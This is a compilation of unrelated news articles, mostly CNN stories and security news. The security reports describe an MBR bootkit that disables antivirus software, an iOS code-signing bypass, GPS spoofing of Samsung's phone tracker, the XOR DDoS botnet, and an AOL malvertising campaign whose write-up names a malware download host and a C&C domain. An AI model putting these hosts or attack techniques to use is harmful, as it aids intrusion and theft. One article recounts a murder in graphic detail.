"Cunning disguise and an expanded OS portfolio not only allow us to say that we can expect more incidents with this malware in the APAC region, but this also supports the wider trend that malicious users are not necessarily focused on developing new malware, but developing proven ones instead, in an attempt to be as successful as possible."
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Story highlightsCNN invites you to vote on the next topic in the Two° seriesJohn Sutter will hunt down a "climate villain" of your choosingCNN columnist John D. Sutter is reporting on a tiny number -- 2 degrees -- that may have a huge effect on the future. He'd like your help. Subscribe to the "2 degrees" newsletter or follow him on Facebook, Twitter and Instagram. He's jdsutter on Snapchat. (CNN)Update: This poll is now closed and the results are in: Readers selected food and meat's impact on climate change as the next topic for CNN's Two° series. Thanks to everyone who voted! Sign up for the Two° newsletter to get updates about that story and this series.Previous story below:Every story needs a villain -- and climate change is no exception. Knowing which countries and industries contribute to climate change, and in what proportions, is key to understanding how we can fix this problem and avoid 2 degrees Celsius of warming, which is what policymakers regard as the threshold for "dangerous" climate change.Plus, this story is complicated by the fact that nearly all of us -- certainly those reading this column on a mobile phone or computer -- contribute to climate change in some way. Read MoreWe're all partly to blame.I'm going to be exploring this idea of "climate villains" for the next month or so, as part of CNN's Two° series, which looks at that threshold for dangerous warming. That's the point at which some island nations are expected to be submerged, drought risks go up considerably and water availability goes down. I'd like your help in deciding which bad guys to target. Below, you'll find a Facebook poll that lists four of my favorite climate villains, all of which came from your suggestions. Pick the one you find most interesting and I'll go out into the world to report on the winner. The poll closes at 5 p.m. ET on Sunday, August 16. MEET THE CLIMATE CHANGE VILLAINS -- the people and industries whose actions researchers say are causing global warming....Posted by CNN on Thursday, August 13, 2015Before you vote, though, you should know some of the basics. In talking to people about climate change this year, I've found there is SO MUCH confusion about what's causing warming and why. I've met people -- smart people, reasonable people -- who think that climate change is caused by aerosols from hairspray (it isn't) or that it's just part of a natural warming cycle (it's not). Burning fossil fuels for electricity and heat, as well as chopping down rainforests, contributes to climate change. Here's a breakdown of global greenhouse gas emissions by sector, according to 2012 data synthesized by the World Resources Institute. This is kind of a "blame" chart. I don't blame people for being confused. Most of us are not talking about climate change with each other -- and that's on all of us. Plus, there's so much deliberate misinformation coming out of the mouths of politicians, particularly conservatives in the United States, and from the fossil fuels industry. On Wednesday, I asked people on Facebook to identify their preferred climate villains. Among the most interesting (and sometimes humorous) responses you submitted: dinosaurs ("they turned into the oil that we want to get at, right?"); millennials ("It is always millennials' fault for everything ..."); parents ("the process of procreation ... results in increases in demand of the earth's resources and is the driving force for most of our planet's woes"). I was mentioned by name ("John Sutter. I bet he's double secret super villain. No doubt."), as was Willis Carrier, the guy who commercialized the modern air conditioner, and James Watt, who invented an efficient steam engine.You also identified more nebulous bad guys, like apathy, greed, ignorance and consumerism. Geography found its way into the mix, too. China, America and the "3rd world" all made your list.Some countries are more to blame than others, sure. But it turns out that the most industrialized countries -- the United States, European countries and, increasingly, China and India -- are among the biggest contributors to climate change, because they burn the most fossil fuels.Here's a list of the top 10 countries in terms of their overall contributions to global greenhouse gas emissions. This list is measured from 1850, the start of the Industrial Revolution, to 2012, and it's based on data synthesized by the World Resources Institute.United StatesChinaRussiaGermanyUnited KingdomJapanIndiaFranceCanadaUkraine Those are the countries most responsible for the warming we're already seeing, as well as for much of the warming that we will seen in coming years. According to the World Bank, the atmosphere already has warmed 0.8 degrees Celsius above preindustrial times, and about 1.5 degrees of warming is already "locked in" to the atmospheric system because of how much carbon we've burned. Remember, 2 degrees Celsius (3.6 degrees Fahrenheit) is the danger mark.JUST WATCHED2 degrees Celsius: A critical number for climate changeReplayMore Videos ...MUST WATCH2 degrees Celsius: A critical number for climate change 01:16For context, here's a list of the top climate polluters today. They create about 70% of all current greenhouse gas emissions worldwide, according to the World Resources Institute.ChinaUnited StatesEuropean UnionIndiaRussiaIndonesiaBrazilJapanCanadaMexicoAll of this data is a rough guide to help you vote. Each of the four topics you suggested for this poll is a worthy candidate. Our diets, our reliance on fossil fuel reserves, our willingness to turn precious forests into farms and our addiction to gas-burning cars and other dirty modes of transit -- all of these contribute to climate change. And each is worth exploring in depth.I don't want to play the blame game forever. I agree with those of you who said we need to move past finger-pointing and toward solutions. I do think, however, that by exploring who and what's causing climate change, we'll have a better sense of how to solve this urgent problem. So, please vote. Tell your friends. And thank you for helping decide where I'll focus my energy. I'll announce the winning topic in Monday's edition of the Two° newsletter. And, as always, if you have story suggestions for this series, please email me: climate@cnn.com.
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A new rootkit that uses the master boot record (MBR) to hide itself has been discovered in China and is being used to install an online game password stealer.
The bootkit is installed on the computer by a trojan downloader distributed from a Chinese adult site and is detected by Kaspersky as Rookit.Win32.Fisp.a.
Once executed, the rootkit makes a copy of the old MBR and replaces the sectors with its own code which includes an encrypted driver.
When the computer boots, the malicious code executes and restores the original MBR so that Windows can load normally.
It then uses hooks to replace the fips.sys system driver with a malicious one. "It should be noted that the driver fips.sys is not required for the operating system to run correctly, so the system won't crash when it is replaced," says Kaspersky Lab expert Vyacheslav Zakorzhevsky.
The driver scans loaded processes to determine if they belong to one of over a dozen antivirus programs and prevent them from running properly.
The targeted security products include many Chinese ones from Beike, Rising, 360, Kingsoft, Keniu Network Technology, Beijing Jiangmin or Qizhi Software, but also internationally recognized vendors like AVG, BitDefender, Symantec, Kaspersky and ESET.
The rootkit serves as a malware distribution platform. It hooks the explorer.exe process and injects a downloader component that communicates with a remote server.
This component has been seen downloading variants of Trojan-Dropper.Win32.Vedio.dgs and a game password stealer detected by Kaspersky as Trojan-GameThief.Win32.OnLineGames.boas.
Online gaming is hugely popular in China and there is a large underground market for stolen virtual goods, currency, accounts, items and so on.
MBR rootkits are notoriously hard to remove because they can control the system before antivirus programs start. Users are advised to avoid downloading executable files offered to them by websites without being requested. It's also a good idea to scan all .exe files downloaded with Virus Total even if already running an antivirus program.
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Researcher Charlie Miller kicked out from iOS dev program for Exploiting iOS security flaw
A major security flaw in Apple's iOS operating system that could allow hackers to remotely gain unauthorized access to an iPhone, iPod touch or iPad has been uncovered by a security expert "Charlie Miller ".
Charlie Miller gets a kick of out defeating Apple's security mechanisms, using his hacking skills to break into Macbooks and iPhones. Now, Apple has kicked the security researcher out of its iOS developer program after word got out that he built a proof-of-concept iPhone app to showcase a bypass of the code signing mechanism.
Hours before, a YouTube video that Miller released went viral. In it, he demonstrated how he hijacked an iPhone to run malicious code after installing his Instastock app, which was admitted into the App Store in September.
According to the report, Miller plans to reveal the issue in a presentation at the SysCan security conference in Taiwan next week. As part of his presentation, Miller created an app capable of exploiting the flaw, and uploaded it to the App Store. Though App Store staff discovered a few problem APIs in the app, they didn't notice Miller's use of a special memory area, which allows his app to run unsigned code.
The security expert's app has since been removed from the App Store and his developer account has been suspended. Miller's video follows below.
We've seen plenty of malware on Android, but that's mostly because the Android Market accepts virtually any app and later plucks out the bad weeds. This is a scary first on iOS.
Miller alerted Apple about the weakness three weeks ago. The company acknowledged it and asked how Miller should be credited in a security bulletin that accompanies most iOS release notes. "I'm sure it is something they will fix quickly," Miller noted, suggesting the fix would likely appear before his presentation in Taiwan. "That's what one would hope they would do. I'm sure they are also working on code fixes for the battery draining issue and stuff that they are going to release patch for."
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Samsung which is currently believed to the highest Smartphones Seller in the World is now providing a Remote tracking solution in all its smartphones to Track the lost phone with the name "Samsung Dive". The Service is based on the Architecture which primarily acquires precise location of the smart phone using it GPS and other subsidiary location acquisition techniques. The Service is basically meant to be used by the users to track their phone in case of theft or lost phone.
Security Researcher Jiten Jain discovered that this GPS based location tracking service provided by manufacturer (Samsung) is also vulnerable to Theft and Malwares.
To use this inbuilt tracking Service, User has to simply create an account with Samsung (www.samsungdive.com). Users than have to enable remote services to track device and wipe data remotely. The permission can be disabled or modified only by the Samsung account holder after logging in and cannot be disabled by anyone else.
When a user wants to track his device, He simply has to log on to Samsung tracking Service website "www.samsungdive.com" and just press track my device button. The application will then remotely connect to the lost device and switch on its GPS receiver automatically and acquire the precise location of device. In case of GPS unavailability other subsidiary location acquisition techniques like Wi-Fi or cell tower triangulation may be used. The acquired location is then sent to the Server and shown on a Map to the User.
During Research Mr. Jain found that this location based tracking Service provided by Device Samsung in its Android based Smartphones is completely vulnerable to Location Spoofing Attacks. Which means in case of Phone theft the Thief can simply broadcast a fake location on Samsung tracking server and mislead Original Phone User/Owner to believe that the phone is genuinely at fake location. The locations can be faked continuously to random places anywhere in the world. All this happens because Samsung's Location API's are completely vulnerable to be manipulated by installing commonly available simple GPS location spoofer on the device.
To demonstrate this flaw a simple easily available location spoofing app was installed in the targeted Device in Delhi and Spoof Location was set to somewhere in Jordan. The location Spoofer application was then activated to Override any GPS location request in the device and instead provide the pre-set spoofed location coordinates of Jordan. Then Samsung's Device tracking Service was used to track the Targeted Device. The Location shown on the Samsung's Device Tracking Map on Web Interface showed that Phone was Indeed in Jordan.
Pictures of Spoofed Location of a Samsung Galaxy Note are shown below.
Though other applications AVG and famous tracking application like Lookout also provide similar Services were are also vulnerable to location spoofing but Samsung's own tracking service becomes far more critical and important as Samsung is the device Manufacturer and tracking module comes inbuilt in the phone and most widely used. Since such tracking applications also provide remote data wipe service also, Phone owners always prefers device manufacturers solution instead of a Third party tracking application
Apart from this Location spoofing Vulnerability, To make thing worse, Samsung tracking application also shows notification that device is being tracked remotely. This simply alerts the hacker or thief. This defeats the very fundamental principal and purpose of a tracking application, which should always work on the principal of hidden remote tracking in case of theft.
This leaves Millions of Samsung smartphone owners who rely on Samsung's tracking service vulnerable and helpless and in case of phone theft. Since Samsung's Location API's are so vulnerable to location spoofing attacks, This vulnerability may well be Used by malware writers to remotely spoof the location of a device, Which will throw the Navigation applications like Google Maps show the incorrect current location and wrong crazy Routes to destinations and it may also be well used by an hackers to write malwares to throw Location based services on the device in complete disarray.
Hope Samsung comes up with a fix before your location is spoofed.
Source : https://xebee.xebia.in/2012/12/07/gps-based-tracking-service-provided-by-samsung-vulnerable-to-location-spoofing-attacks/
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Copenhagen, Denmark (CNN)Danish inventor Peter Madsen has been found guilty of the mutilation and murder of Swedish journalist Kim Wall, and sentenced to life in prison.Madsen was found guilty on all three charges he faced: premeditated murder, the indecent handling of a corpse and "sexual relations other than intercourse of a particularly dangerous nature," evidenced by stab wounds inside and outside Wall's genital area.During the sentencing at a court in Copenhagen Wednesday, the judge, Anette Burkoe, described the crime as "a cynical and planned sexual murder of a severe brutal nature against a random woman." Madsen has appealed the verdict to Denmark's High Court.Peter Madsen stands next to a full-sized model of a rocket's motor section with fins in a May 31, 2017, photo.Wall, a promising 30-year-old journalist, was last seen boarding Madsen's self-built submarine in Copenhagen on August 10 last year when she had planned to interview him for an upcoming article.Read MoreInstead she disappeared and her torso washed up on an island near Copenhagen on August 21. Her head and legs were found weeks later.Madsen consistently denied charges of murder and sexual assault, claiming Wall died by accident from carbon dioxide poisoning, although he admitted to dismembering her body and tossing it into the sea in a state of panic. Explaining the verdict, Burkoe said that Madsen dismembered Wall's body in order to hide his crime and that he had not provided a reasonable explanation for the injuries found on her body or for his decision to bring a saw, screwdrivers and other items onto the UC3 Nautilus submarine.Asked on Monday if he wanted to make a last statement before the jury went into deliberation, Madsen said, "If anything, I am sorry about what happened." Madsen's submarine was removed from Copenhagen habor for forensic investigation in the days after Wall disappeared.At Madsen's request, the verdict was reached by a judge and two-person jury instead of the typical six-person jury of a city court. All three were in agreement on the verdict, according to Burkoe. The prosecution had asked for Madsen to be sentenced to life in prison or placed in "forvaring" -- a type of preventive custody with no time limit for prisoners believed to pose a significant danger to others.Both are considered the harshest penalties in Danish law. Life sentences are rarely given in Denmark unless a person is found guilty of multiple murders.The question of forvaring or a life sentence arose based on Madsen's mental examination, which concluded that he remains dangerous, has psychopathic traits, appears unfeeling and untrustworthy, suffers from lack of empathy and is highly sexually deviant. Details of Wall's final night unclearThe brutality of this case has kept a global spotlight on the peaceful archipelago of Denmark since Wall's disappearance last year.Submarine death suspect says heavy hatch killed reporterFor most Danes, the prospect of Madsen walking free had become inconceivable. While many of them initially knew and supported Madsen as a mad, visionary and harmless inventor, that tide has turned. In the court of public opinion the verdict was in long before the trial began. But many details of Wall's final night remain unclear and are likely to stay so unless Madsen chooses to share anything further.Madsen's explanation that the journalist died accidentally from CO2 asphyxiation on board his submarine was corroborated as plausible by one expert witness, and dismissed by another, making it difficult to prove either way. It has also been impossible to determine Wall's cause of death, and while medical examiners say it is possible she died by strangulation, or by having her throat cut, results are inconclusive. A woman alleged to be Kim Wall stands next to a man in the tower of the private submarine UC3 Nautilus on August 10, 2017, in Copenhagen harbor. To prove his case, prosecutor Jakob Buch-Jepsen's strategy was to paint a picture of Madsen as a man motivated by dangerous sexual motives, who moved on the fringes of sadomasochistic societies and had an unusual interest in the killing and mutilation of women. He presented a selection of more than 100 videos, cartoons and written texts found among Madsen's possessions, depicting the murder, torture and impaling of women -- in some cases real killings. The night before Wall's death, Madsen searched for and played on his phone a video of a girl having her throat slit.Buch-Jepsen also focused on Madsen's shifting explanations, witness accounts and technical and forensic evidence. According to the medical examiners there were no signs that Wall died of CO2 poisoning, several of her cuts were unrelated to the amputations of her body parts and some were inflicted prior to or shortly after she died -- challenging Madsen's story that her body was intact until he dismembered her several hours after her death. The judge said Wednesday that she and the two jurors did not believe Madsen's claim that he changed his story multiple times in order to protect her family from the "truth."During the trial, defense attorney Betina Hald Engmark argued that the prosecution's case was based mainly on circumstantial evidence, none of which proved Madsen committed murder. She told the court on Monday that Madsen should receive no more than six months in prison -- for the indecent handling of a corpse, for which he admitted guilt. Remembering Kim WallFriends pay tribute to Kim Wall: 'She is more than what happened to her'Wall graduated from Columbia University and the London School of Economics and was based in Beijing and New York. At the time of her death, the journalist's work had appeared in the New York Times, the Guardian and Time magazine, among other publications.Last month, on what would have been Wall's 31st birthday, the first Kim Wall Memorial Fund grant was given to a young Danish journalist. Created by Wall's family and friends, it aims to support female reporters who cover what Wall called "the undercurrents of rebellion." Three other honors have been set up in her name, including a scholarship at Columbia's Graduate School of Journalism and the Kim Wall Best Digital Reporting Award, sponsored by Google, which rewards the best stories on international affairs using creative and dynamic digital storytelling techniques.Susanne Gargiulo reported from Copenhagen and Judith Vonberg wrote from London.
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A network of compromised Linux servers has grown so powerful that it can blow large websites off the Internet by launching crippling Distributed Denial-of-service (DDoS) attacks of over 150 gigabits per second (Gbps).
The distributed denial-of-service network, dubbed XOR DDoS Botnet, targets over 20 websites per day, according to an advisory published by content delivery firm Akamai Technologies.
Over 90 percent of the XOR DDoS targets are located in Asia, and the most frequent targets are the gaming sector and educational institutions.
XOR creator is supposed to be from China, citing the fact that the IP addresses of all Command and Control (C&C) servers of XOR are located in Asia, where most of the infected Linux machines also reside.
How XOR DDoS Botnet infects Linux System?
Unlike other DDoS botnets, the XOR DDoS botnet infects Linux machines via embedded devices such as network routers and then brute forces a machine's SSH service to gain root access to targeted machines.
Once the attackers have acquired Secure Shell credentials and logged in, they use root privileges to run a simple shell script that secretly downloads and installs the malicious XOR botnet software.
However, there is no such evidence that XOR DDoS infects computers by exploiting flaws in the Linux operating system itself.
A High-Bandwidth DDoS Attack
Akamai's Security Intelligence Response Team (SIRT) has seen DDoS attacks – SYN and DNS floods as the observed attack vectors – with the bandwidth ranging from a few gigabits per second (Gbps) to nearly 179 Gbps.
The upper figure is a massive DDoS attack volume that even most multinational corporate networks can not handle. However, the biggest recorded DDoS attacks have hit 400 Gbps.
"Over the past year, the XOR DDoS botnet has grown and is now capable of being used to launch [massive] DDoS attacks," Stuart Scholly, senior vice president of Akamai's Security Business Unit, said in a statement.
Scholly further added that attackers are switching their focus from Windows botnets and building Linux botnets to launch massive DDoS attacks. However in the past, Windows machines were their primary targets for DDoS malware.
How to Detect and Mitigate XOR DDoS Botnet?
Akamai's advisory outlines two different methods for detecting the recent version of the XOR malware.
To Detect XOR DDoS Botnet in your Network, look for the communications between a bot and its C&C server, using the Snort rule given in the advisory.
To Detect XOR DDoS Botnet infection on your Hosts, use the YARA rule also shown in the advisory.
Moreover, Akamai also provides a four-step process for removing the XOR DDoS Trojan from your machine, as given below:
First, identify the malicious files in two directories (/boot and /etc/init.d)
Identify the supporting processes responsible for the persistence of the main process
Kill the malicious processes
Delete the malicious files (in /boot and /etc/init.d)
Additionally, disabling system root login from SSH (Secure Shell), or using a strong password will also defeat this issue.
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Security researchers have uncovered a malvertising campaign used to distribute malware to visitors of The Huffington Post website, as well as several other sites, through malicious advertisements served over the AOL advertising network.
At the end of last year, Cyphort Labs, security firm specialized in detecting malware threats, came across some malicious advertisements that were being served on the United States and Canadian versions of the popular news website The Huffington Post.
The malicious advertisements eventually redirected visitors of the news website to other websites hosting exploit kits, in order to attack victims' computers and install malware.
Researchers discovered that the malvertising campaign originates with ads being served by AOL's Advertising.com network. Once clicked, users are redirected through a series of redirects, some of which used HTTPS encrypted connections, to a page that served either the Neutrino Exploit Kit or the Sweet Orange Exploit Kit.
"Interestingly attackers used a mix of HTTP and HTTPS redirects to hide the servers involved in this attack," the Cyphort analysis of the attack states. "The HTTPS redirector is hosted on a Google App Engine page. This makes analysis based on traffic PCAPs more difficult, because HTTPS traffic is encrypted."
The exploit kit served both Adobe Flash and VB script exploits – a common target for cybercriminals due to the wide range of vulnerabilities found in it – and then downloaded the Kovter trojan, which is actually a Ransomware that locks the infected computer's screen from access by the user.
"The purpose of this attack is to install a malicious binary – a new variant of a Trojan, from the Kovter family. (SHA1: eec439cb201d12d7befe5482e8a36eeb52206d6f)," the researchers say. "The malware was downloaded from indus.qgettingrinchwithebooks.babia-gora.pl:8080 , it was a un-encrypted binary. After execution it connects to a16-kite.pw for CNC. It executes through injecting its payload to a spawned svchost.exe process."
The websites hosting the exploit kit were ".pl" domains, the country code top-level domain for Poland. Researchers also noticed that a variety of other websites, including weatherbug.com, mandatory.com and houstonpress.com, were also distributing the malware via malicious advertisements, with the common link being the "adtech.de" and "advertising.com" advertising networks — both ad platforms owned by AOL.
AOL.com was notified of the issue on Saturday. A spokesman confirmed Cyphort's findings and said the company took the necessary steps to fix the problem. AOL.com said it has stopped malicious software being served by its advertising platforms after being alerted by a security company.
"AOL is committed to bringing new levels of transparency to the advertising process, ensuring ads uphold quality standards and create positive consumer experiences," the spokesman wrote.
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We're comfortable in sharing information with our Facebook friends, but it is quite sneaky for Facebook users to offer their Identities and credentials when logging in to third-party apps, they don't trust. To deal with this issue, the social network giant has plans to improve the way users login to the third party apps with more privacy controls on the web as well as mobile devices.
ANONYMOUS LOGIN
At Facebook's F8 developer conference in San Francisco on Wednesday, Keynote speaker - Chief Executive Mark Zuckerberg announced the new Facebook's login tool, "Anonymous Login" that would let users sign into apps and websites anonymously without sharing their personal information-Biggest news for Facebook users.
"Today, we want to do more to put control and power back into people's hands," Zuckerberg said at the conference. "Up until now, your friends have been able to share your data via using apps. Now we're changing this, so everybody controls how their data is shared with apps, even ones others are using."
USERS' TOTAL CONTROL OVER APP PERMISSIONS
Another new feature Facebook is rolling out in the next few months will also gives you total control over exactly what information you would like to share with the individual third-party app. Facebook is also planning to limit the ability of third-party app to read the content shared between the users and their friends.
This new privacy feature will let user options to permit whether third-party apps will be able to access their information when their friend logs in with Facebook or not.
"With the new Login, I can sign in on my own terms. I can uncheck boxes I don't want to share. We've heard very clearly about how you want more control with how you're sharing with apps, and this new Login gives you that control."
Once users have decided an Facebook app is trustworthy, they can connect it to their profile and allow, say, the posting of automatic status updates, or access other parts of an account.
In addition to the Anonymous Login and better controls over app permissions, Facebook is also going to redesign its app permissions dashboard, making it much easier for its users to edit what permissions they have granted to their apps.
"At Facebook, we serve a lot of groups, including developers, advertisers, and employees—but the most important group we serve is the people who use our products," Zuckerberg said. "And we must always put those people first. People want more control over how they share their information, especially with apps, and they want more control how apps share their data."
PLANS FOR ADVERTISERS & APP DEVELOPERS
Addressing the developers, Mark Zuckerberg said the tool would let Facebook users feel free and more comfortable about signing into more apps using Facebook and moreover this new feature will let more and more people to try out new apps.
"By giving people more power and control, they're going to trust all the apps that we build more, and over time use them more. And that's positive for everyone," said Zuckerberg.
For advertisers and app makers, the company has also announced a new mobile AD Product dubbed as "Facebook Audience Network," that will leverage app developers to insert ads from Facebook's more than 1 million advertisers into their own apps and then split the revenue, which is now open for registration.
For the rest of Facebook's developer audience, the social network promised not to break things anymore, a dramatic switch in its founding motto of "Move fast and break things."
This new move of the popular Internet giant is a conscious effort to get users more comfortable with sharing their information during a time when privacy concerns and security breaches abound and it shows Facebook cares about your privacy.
The engineers at Facebook are testing the Anonymous Login with a few developers for now, and after the testing period it will widely available to all developers "in the coming months."
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1. Spotify Hacked! Change your Password ASAP
If you are one of the millions of people around the world who love to listen to music on Spotify, you may need to change your password immediately.
Has Spotify been hacked? The company says no, but some Spotify users have claimed their profiles were hijacked, and details were changed without knowledge, including passwords and email addresses, TC reported.
Spotify apparently suffered a security breach that leaked hundreds of Spotify accounts details, including emails, usernames, passwords and account type, which was published last week to the popular anonymous file sharing website Pastebin.
Spotify is investigating the Pastebin leaks of Spotify user information.
2. Over 1 Million Android Apps Are Coming to Chrome OS
Google is ready to integrate millions of Android applications onto its Chrome OS platform by bringing the entire Play Store to it.
Redditor 'TheWiseYoda' first spotted a new option to "Enable Android Apps to run on your Chromebook" on the developer version of Chrome OS, though the option popped up for an instant and then disappeared.
After hunting in the source code of the operating system, the Redditor discovered a couple of references to the feature that indicate the arrival of Google Play on Chrome OS.
3. MIT University Launches Bug Bounty Program
The Massachusetts Institute of Technology (MIT) launches its experimental bug bounty program this week, which aims at encouraging university students and security enthusiasts to find and responsibly report vulnerabilities in its official websites.
"As thanks for helping keep the community safe, we are offering rewards in TechCASH for the responsible disclosure of severe vulnerabilities," program website explains.
TechCASH is money that can be used for purchasing goods and services at restaurants and grocery stores around the University Cambridge area.
The MIT becomes the first academic institution to reward hackers, open only for university affiliates with valid certifications, such as undergraduate and graduate students.
4. Never Ending Nanowire Batteries — The Future Of Electronics
Researchers at the University of California at Irvine (UCI) accidentally discovered that batteries build using a Nanowire-based material, a tiny conductor, can be recharged for hundreds of thousands of times.
A typical Lithium-ion battery, used in most smartphones and laptops, expected to have charge cycles between 2000-3000.
However, this innovation could lead to vastly longer lifespans for batteries in smartphones, computers, appliances, cars and spacecraft.
In early testing of the component, this last-longing battery was recharged more than 200,000 times over a three-month span, and no loss of capacity or power was recorded.
5. Edward Snowden Sues Norway to prevent Extradition
Global Surveillance Whistleblower Edward Snowden has filed a lawsuit against the Norwegian government to ensure his travel to Oslo for picking up an award without any risk of being extradited to the United States.
Snowden has been invited to Norway to receive a Freedom of Speech Award from PEN International – the local branch of writers' group – but he is worried that he would be extradited to the United States because of the country's close diplomatic ties with the US.
6. Nearly 93.4 Million Mexican Voter Data Leaked Online
A hacker discovered over 100 gigabytes of an extensive database completely open on the Internet for anyone to download while the hacker was browsing Shodan – a search engine for servers and Internet-connected devices.
The database turned out to be a voter registration database for the country of Mexico that contained the personal information, including full names, residential addresses, and national identification numbers, of virtually all registered voters with 93.4 Million entries.
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Story highlightsRyan Giggs appointed player-coach at Manchester UnitedThe Welshman made his United debut in 1990Giggs is part of manager David Moyes' new-look backroom staffMoyes was announced as Alex Ferguson's successor in MayOver the last two decades he has been at Manchester United both as boy and man helping the club achieve the most unparallelled level of success.And on Thursday veteran midfielder Ryan Giggs took another step in further cementing his remarkable relationship with the club after he was appointed as United's player-coach by David Moyes.Welshman Giggs made his United debut in 1990 and has won 13 Premier League titles, four FA Cups and the European Champions League in 1999 and 2008, making him English football's most decorated player.Moyes was announced as the United manager in May, after fellow Scot Alex Ferguson called time on his trophy-laden 26-year reign.Read: Five things we learned from the Confederations Cup"I'm delighted that Ryan has accepted the chance to become player-coach," former Everton manager Moyes told United's official website as the new manager steps up his preparations for his first season at Old Trafford.JUST WATCHEDPlatini on Ferguson and Beckham retirementsReplayMore Videos ...MUST WATCHPlatini on Ferguson and Beckham retirements 00:57JUST WATCHEDAlex Ferguson's recipe for successReplayMore Videos ...MUST WATCHAlex Ferguson's recipe for success 02:42JUST WATCHEDCNN FC: Moyes replaces FergusonReplayMore Videos ...MUST WATCHCNN FC: Moyes replaces Ferguson 25:20"His success and ability to adapt his game over a number of years gives him an unrivaled perspective on the modern game. "His career is an example to any aspiring young player and I'm sure that both he and the players will benefit from his new role."Read: Do Brazil still play the beautiful game?Now 39, Giggs said his appointment was a "great privilege."The Welshman added: "I hope I will be able to bring my experience to bear, having been both a player and part of the Manchester United family for so long."It's no secret that I have been taking my qualifications and I see this as the first step in my future career. I'm really looking forward to working alongside David and the team."Former United defender Phil Neville also returns to Old Trafford as part of Moyes' staff.Neville played for the 20-time English champions between 1995 and 2005 before moving to Everton, where he played under Moyes for eight years.Moyes' first Premier League match as United manager is at Swansea City on August 17.Meanwhile United's rivals Chelsea have agreed to sign talented Dutch midfielder Marco van Ginkel from Dutch club Vitesse Arnhem.A product of the Vitesse youth system, the 20-year-old Grinkel his debut in April 2010 and will join Chelsea subject to a medical.
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Bill McGowan is the founder and CEO of Clarity Media Group, a global communications coaching firm based in New York. He is the author of "Pitch Perfect: How to Say It Right the First Time, Every Time." Follow him on Twitter @BillMcGowan22. Juliana Silva is a strategic communications adviser at Clarity. The views expressed in this commentary are solely those of the author. View more opinion articles on CNN. (CNN)The fact that Tuesday night's debate in Cleveland was more of a crash than a clash will no doubt dominate the media coverage and people's memory of the event. No matter how much we would like to wipe the image of that disgraceful spectacle from our consciousness, the indelible stain of a President of the United States behaving like a juvenile delinquent initiating a food fight will be tough to erase. But what may get overlooked amid the pandemonium that erupted at the first of three showdowns between former Vice President Joe Biden and President Donald Trump was the stark contrast in the two candidates' body language. Bill McGowanJuliana SilvaFrom the opening bell, Biden strode to the lectern with a sense of purpose. Ironically, Trump was the one who seemed sleepy and slow, lumbering onto the stage with all the enthusiasm and excitement of a root canal patient entering the dentist's office. The candidates' facial expressiveness also rested on opposite ends of the spectrum. Trump redefined "RBF" (Resting Bully Face) while listening to both Biden and the moderator, Fox's Chris Wallace. For most of the night, Trump looked like he was smelling rancid milk. It was a judgmental, imperious expression that played right into Biden's "Scranton vs Park Avenue" comparison, teeing Biden up to cast Trump as a gold-plated elitist. "This guy and his friends look down their nose on people like Irish Catholics like me who grew up in Scranton," Biden said. Read MoreTrump's default demeanor came off as angry, hostile and disdainful of the entire process. In fact, when Chris Wallace finally chastised Trump for breaking the very debate rules that his campaign agreed to, his facial contortions resembled a petulant child being scolded. Biden, by contrast, frequently maintained an approachable and empathetic look that underscores one of his biggest advantages over his opponent: likability. When under attack, Biden pulled an oldie but goodie from his greatest hits bag: the incredulous smile, shake of the head and chuckle that was as close to a real-time fact check on Trump as you can get. It was a nonverbal version of Ronald Reagan's legendary line to Jimmy Carter, "there you go again." It's a tactic that served Biden well in his 2012 vice presidential debate against Paul Ryan. Debate coach: Why this debate went terribly wrong But perhaps the most dramatic difference between Biden and Trump's onstage presence was their eye contact. Research studies have shown that making meaningful eye contact with those with whom you are communicating, boosts your credibility, your trustworthiness, your empathy and perhaps most importantly, your likability. According to doctor Atsushi Senju, a cognitive neuroscientist who studies the biological and cultural aspects of eye contact at the Centre for Brain and Cognitive Development at Birkbeck, University of London, eye contact makes us seem more socially aware and empathetic. Conversely, his studies show that avoiding eye contact can undermine one's perception of your sociability and emotional intelligence -- it discredits you. Over the course of the chaotic 90 minutes, Trump looked the American people in the eye (by looking straight into the camera), a grand total of zero times. For Trump, that runs the risk of cementing his image as someone who cares only about himself and lacks empathy. Biden frequently spoke directly to the American people, perhaps most effectively when Trump was hammering away on the reputation of Biden's sons. The former vice president looked directly into the camera and said, "This is not about my family or his family, this is about your family -- the American people. He doesn't want to talk about what you need." If you were sitting at home watching the debate, only one candidate looked you square in the eye. Biden has framed the entire election as a battle for the soul of America. He needed that good guy versus bully contrast to be on display for the debate audience, and boy, was it ever! Trump, trailing in the national polling, was in desperate need of a knockout punch. Clearly the strategy going in was to throw as many haymakers at Biden as possible. None squarely landed on him.Get our free weekly newsletterSign up for CNN Opinion's new newsletter.Join us on Twitter and Facebook For the most part, their respective nonverbal communication skills spoke every bit as loud as the shouting match that ensued. And they contributed to Biden's win on the debate stage.
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(CNN)Grammy award winning singer Ciara and rap star Macklemore of "Thrift Shop" fame have joined Seattle Sounders' new ownership group. Ciara's husband Russell Wilson, the 2014 Super Bowl winning quarterback with the Seattle Seahawks, is also part of the group.Eleven families with "direct ties" to Seattle are now involved in the contingent that already included majority owners businessman Adrian Hanauer and comedian Drew Carey. View this post on Instagram A Day I'll Always Cherish! @DangeRussWilson and I are fired up to announce we are Team Owners of the Seattle @SoundersFC one of the best soccer franchises in the world! We can't wait for our kids to grow up loving Soccer! Family is everything! Football and Futbol is Family! #SoundersIsFamily ⚽️💚💙 A post shared by Ciara (@ciara) on Aug 13, 2019 at 10:03am PDT "It's an honour to join the Sounders team and have the unique opportunity to represent female ownership within major league sports," said Ciara, who entered mainstream prominence with her platinum-selling debut album "Goodies" in 2004.Seattle native Macklemore was equally excited.Read More"Man, to be part of this organization, it's pretty surreal," he said. "I'm very honored. This team is building an incredible legacy and I'm just excited to be a part of it."READ: Frank de Boer calls equal pay in international football 'ridiculous'Wilson, who is still playing a prominent role for the Seahawks after seven seasons in the National Football League, was clear in his rational in joining the group."We want to bring the best soccer players in the world to Seattle," he said.The new ownership group steps into the vacancy left by the departing Joe Roth, the film director and producer, who served as the majority owner of the club from 2007 to 2015. Under Roth, the Sounders lifted the MLS Cup on four occasions -- in 2009, 2010, 2011 and 2014 -- and signed the former US Men's captain Clint Dempsey in 2013 following his departure from Tottenham Hotspur.Visit CNN.com/sport for more news, features, and videosThe Sounders currently find themselves in second place on the Western Conference table but trail the Carlos Vela led Los Angeles FC by 16 points.READ: Mohamed Salah's message to Pep Guardiola: The Champions League is football's 'biggest competition'
